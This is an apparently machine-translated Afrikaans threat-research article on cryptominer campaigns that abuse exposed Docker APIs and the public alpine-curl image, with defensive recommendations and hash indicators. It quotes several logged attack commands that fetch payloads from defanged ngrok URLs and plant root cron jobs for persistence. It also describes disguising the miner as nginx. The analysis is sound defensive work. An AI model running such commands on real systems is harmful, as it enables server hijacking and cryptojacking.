Hoe die nie-private Docker API en publieke beelde van die gemeenskap gebruik word om cryptocurrency mynwerkers te versprei

Hoe die nie-private Docker API en publieke beelde van die gemeenskap gebruik word om cryptocurrency mynwerkers te versprei

Ons het die data ontleed wat ingesamel is met behulp van heuningpothouers, wat ons geskep het om bedreigings op te spoor. En ons het aansienlike aktiwiteit opgespoor van ongewenste of ongemagtigde kriptokurrency-mynwerkers wat as skelmhouers ontplooi is deur 'n gemeenskapsgepubliseerde beeld op Docker Hub te gebruik. Die beeld word gebruik as deel van 'n diens wat kwaadwillige cryptocurrency-mynwerkers lewer.

Boonop word programme vir werk met netwerke geïnstalleer om oop naburige houers en toepassings binne te dring.

Ons laat ons heuningpotte soos dit is, dit wil sê met verstekinstellings, sonder enige sekuriteitsmaatreëls of daaropvolgende installering van bykomende sagteware. Neem asseblief kennis dat Docker aanbevelings het vir aanvanklike opstelling om foute en eenvoudige kwesbaarhede te vermy. Maar die heuningpotte wat gebruik word, is houers wat ontwerp is om aanvalle op te spoor wat gemik is op die houerplatform, nie die toepassings binne die houers nie.

Die bespeurde kwaadwillige aktiwiteit is ook opmerklik omdat dit nie kwesbaarhede vereis nie en ook onafhanklik is van die Docker-weergawe. Om 'n verkeerd gekonfigureerde, en dus oop, houerbeeld te vind, is al wat aanvallers nodig het om baie oop bedieners te besmet.

Die ongeslote Docker API stel die gebruiker in staat om 'n wye reeks van spanne, insluitend om 'n lys van lopende houers te kry, logboeke van 'n spesifieke houer te kry, te begin, te stop (insluitend gedwonge) en selfs 'n nuwe houer te skep vanaf 'n spesifieke prent met gespesifiseerde instellings.

Hoe die nie-private Docker API en publieke beelde van die gemeenskap gebruik word om cryptocurrency mynwerkers te versprei
Aan die linkerkant is die wanware-afleweringsmetode. Aan die regterkant is die aanvaller se omgewing, wat dit moontlik maak om beelde op afstand uit te rol.

Hoe die nie-private Docker API en publieke beelde van die gemeenskap gebruik word om cryptocurrency mynwerkers te versprei
Verspreiding volgens land van 3762 oop Docker API's. Gebaseer op Shodan-soektog gedateer 12.02.2019/XNUMX/XNUMX

Aanval ketting en loonvrag opsies

Kwaadwillige aktiwiteite is nie net met behulp van heuningpotte opgespoor nie. Data van Shodan toon dat die aantal blootgestelde Docker API's (sien tweede grafiek) toegeneem het sedert ons 'n verkeerd gekonfigureerde houer ondersoek het wat as 'n brug gebruik word om Monero-cryptocurrency-mynbou-sagteware te ontplooi. In Oktober verlede jaar (2018, huidige data jy kan so lyk ongeveer. vertaler) was daar net 856 oop API's.

'n Ondersoek van die heuningpotlogs het getoon dat houerbeeldgebruik ook met die gebruik van ngrok, 'n instrument vir die vestiging van veilige verbindings of die aanstuur van verkeer vanaf publiek toeganklike punte na gespesifiseerde adresse of hulpbronne (byvoorbeeld localhost). Dit laat aanvallers toe om URL's dinamies te skep wanneer loonvrag aan 'n oop bediener gelewer word. Hieronder is kodevoorbeelde uit die logboeke wat misbruik van die ngrok-diens toon:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Soos u kan sien, word die opgelaaide lêers afgelaai vanaf URL's wat voortdurend verander. Hierdie URL'e het 'n kort vervaldatum, dus kan loonvragte nie na die vervaldatum afgelaai word nie.

Daar is twee loonvrag opsies. Die eerste is 'n saamgestelde ELF-myner vir Linux (gedefinieer as Coinminer.SH.MALXMR.ATNO) wat aan die mynpoel koppel. Die tweede is 'n skrif (TrojanSpy.SH.ZNETMAP.A) wat ontwerp is om sekere netwerkgereedskap te verkry wat gebruik word om netwerkreekse te skandeer en dan na nuwe teikens te soek.

Die dropper script stel twee veranderlikes, wat dan gebruik word om die cryptocurrency myner te ontplooi. Die HOST-veranderlike bevat die URL waar die kwaadwillige lêers geleë is, en die RIP-veranderlike is die lêernaam (in werklikheid die hash) van die mynwerker wat ontplooi moet word. Die HOST veranderlike verander elke keer as die hash veranderlike verander. Die skrip probeer ook om seker te maak dat geen ander cryptocurrency-mynwerkers op die aangeval bediener loop nie.

Hoe die nie-private Docker API en publieke beelde van die gemeenskap gebruik word om cryptocurrency mynwerkers te versprei
Voorbeelde van HOST- en RIP-veranderlikes, sowel as 'n kodebrokkie wat gebruik word om te kyk dat geen ander mynwerkers aan die gang is nie

Voordat die mynwerker begin word, word dit hernoem na nginx. Ander weergawes van hierdie skrif hernoem die mynwerker na ander wettige dienste wat in Linux-omgewings teenwoordig kan wees. Dit is gewoonlik genoeg om kontrole teen die lys van lopende prosesse te omseil.

Die soekskrif het ook kenmerke. Dit werk met dieselfde URL-diens om die nodige gereedskap te ontplooi. Onder hulle is die zmap-binêre, wat gebruik word om netwerke te skandeer en 'n lys van oop poorte te verkry. Die skrip laai ook 'n ander binêre wat gebruik word om met die gevind dienste te kommunikeer en baniere van hulle te ontvang om bykomende inligting oor die gevind diens te bepaal (byvoorbeeld die weergawe daarvan).

Die skrif bepaal ook vooraf sekere netwerkreekse om te skandeer, maar dit hang af van die weergawe van die skrif. Dit stel ook die teikenpoorte vanaf die dienste - in hierdie geval, Docker - voordat die skandering uitgevoer word.

Sodra moontlike teikens gevind word, word baniere outomaties daarvan verwyder. Die skrif filtreer ook teikens na gelang van die dienste, toepassings, komponente of platforms van belang: Redis, Jenkins, Drupal, MODX, Kubernetes Meester, Docker 1.16-kliënt en Apache CouchDB. As die geskandeerde bediener by enige van hulle pas, word dit in 'n tekslêer gestoor, wat aanvallers later kan gebruik vir daaropvolgende ontleding en inbraak. Hierdie tekslêers word via dinamiese skakels na die aanvallers se bedieners opgelaai. Dit wil sê, 'n aparte URL word vir elke lêer gebruik, wat beteken dat daaropvolgende toegang moeilik is.

Die aanvalvektor is 'n Docker-beeld, soos gesien kan word in die volgende twee stukke kode.

Hoe die nie-private Docker API en publieke beelde van die gemeenskap gebruik word om cryptocurrency mynwerkers te versprei
Aan die bokant is hernoeming na 'n wettige diens, en aan die onderkant is hoe zmap gebruik word om netwerke te skandeer

Hoe die nie-private Docker API en publieke beelde van die gemeenskap gebruik word om cryptocurrency mynwerkers te versprei
Aan die bokant is voorafbepaalde netwerkreekse, aan die onderkant is spesifieke poorte om na dienste te soek, insluitend Docker

Hoe die nie-private Docker API en publieke beelde van die gemeenskap gebruik word om cryptocurrency mynwerkers te versprei
Die skermkiekie wys dat die alpiene-krul-prent al meer as 10 miljoen keer afgelaai is

Gebaseer op Alpine Linux en curl, 'n hulpbrondoeltreffende CLI-instrument vir die oordrag van lêers oor verskeie protokolle, kan jy bou Docker-beeld. Soos jy in die vorige prent kan sien, is hierdie prent reeds meer as 10 miljoen keer afgelaai. 'n Groot aantal aflaaie kan beteken dat hierdie prent as 'n toegangspunt gebruik word; hierdie prent is meer as ses maande gelede opgedateer; gebruikers het nie so gereeld ander prente vanaf hierdie bewaarplek afgelaai nie. In Docker punt van toegang - 'n stel instruksies wat gebruik word om 'n houer te konfigureer om dit te laat loop. As die toegangspuntinstellings verkeerd is (byvoorbeeld, die houer word oopgelaat vanaf die internet), kan die beeld as 'n aanvalsvektor gebruik word. Aanvallers kan dit gebruik om 'n loonvrag af te lewer as hulle 'n verkeerd gekonfigureerde of oop houer vind wat nie ondersteun word nie.

Dit is belangrik om daarop te let dat hierdie beeld (alpiene-krul) self nie kwaadwillig is nie, maar soos u hierbo kan sien, kan dit gebruik word om kwaadwillige funksies uit te voer. Soortgelyke Docker-beelde kan ook gebruik word om kwaadwillige aktiwiteite uit te voer. Ons het Docker gekontak en saam met hulle aan hierdie kwessie gewerk.

Aanbevelings

Verkeerde instelling bly oor konstante probleem vir baie maatskappye, veral dié wat implementeer DevOps, gefokus op vinnige ontwikkeling en aflewering. Alles word vererger deur die behoefte om aan oudit- en moniteringsreëls te voldoen, die behoefte om datavertroulikheid te monitor, asook die enorme skade van hul nie-nakoming. Deur sekuriteitsoutomatisering in die ontwikkelingslewensiklus in te sluit, help dit jou nie net om sekuriteitsgate te vind wat andersins onopgemerk kan word nie, maar dit help jou ook om onnodige werklading te verminder, soos om bykomende sagtewarebou te laat loop vir elke ontdekte kwesbaarheid of wanopstelling nadat 'n toepassing ontplooi is.

Die voorval wat in hierdie artikel bespreek word, beklemtoon die behoefte om van die begin af veiligheid in ag te neem, insluitend die volgende aanbevelings:

  • Vir stelseladministrateurs en ontwikkelaars: Kontroleer altyd jou API-instellings om seker te maak alles is opgestel om slegs versoeke van 'n spesifieke bediener of interne netwerk te aanvaar.
  • Volg die beginsel van die minste regte: maak seker dat houerbeelde onderteken en geverifieer is, beperk toegang tot kritieke komponente (houerbekendstellingdiens) en voeg enkripsie by netwerkverbindings.
  • Volg aanbevelings en sekuriteitsmeganismes moontlik te maak, bv. van Docker en ingebou sekuriteitskenmerke.
  • Gebruik outomatiese skandering van looptye en beelde om bykomende inligting te bekom oor die prosesse wat in die houer loop (byvoorbeeld om bedrog op te spoor of na kwesbaarhede te soek). Toepassingsbeheer en integriteitsmonitering help om abnormale veranderinge aan bedieners, lêers en stelselareas op te spoor.

Trendmicro help DevOps-spanne om veilig te bou, vinnig uit te voer en enige plek te begin. Trend Mikro Hibriede Wolk Sekuriteit Verskaf kragtige, vaartbelynde en outomatiese sekuriteit oor 'n organisasie se DevOps-pyplyn en bied verskeie bedreigingsverdediging XGen om fisiese, virtuele en wolkwerkladings tydens looptyd te beskerm. Dit voeg ook houer sekuriteit by Diepe sekuriteit и Deep Security Smart Check, wat Docker-houerbeelde op enige punt in die ontwikkelingspyplyn vir wanware en kwesbaarhede skandeer om bedreigings te voorkom voordat dit ontplooi word.

Tekens van kompromie

Verwante hashes:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Op Docker video kursus Praktiserende sprekers wys watter instellings eerste gemaak moet word om die waarskynlikheid te verminder of die voorkoms van die situasie wat hierbo beskryf word heeltemal te vermy. En op 19-21 Augustus by 'n aanlyn intensiewe DevOps Tools & Cheats Jy kan hierdie en soortgelyke sekuriteitsprobleme met kollegas en praktiserende onderwysers bespreek by 'n ronde tafel, waar almal kan praat en luister na die pyne en suksesse van ervare kollegas.

Bron: will.com

Voeg 'n opmerking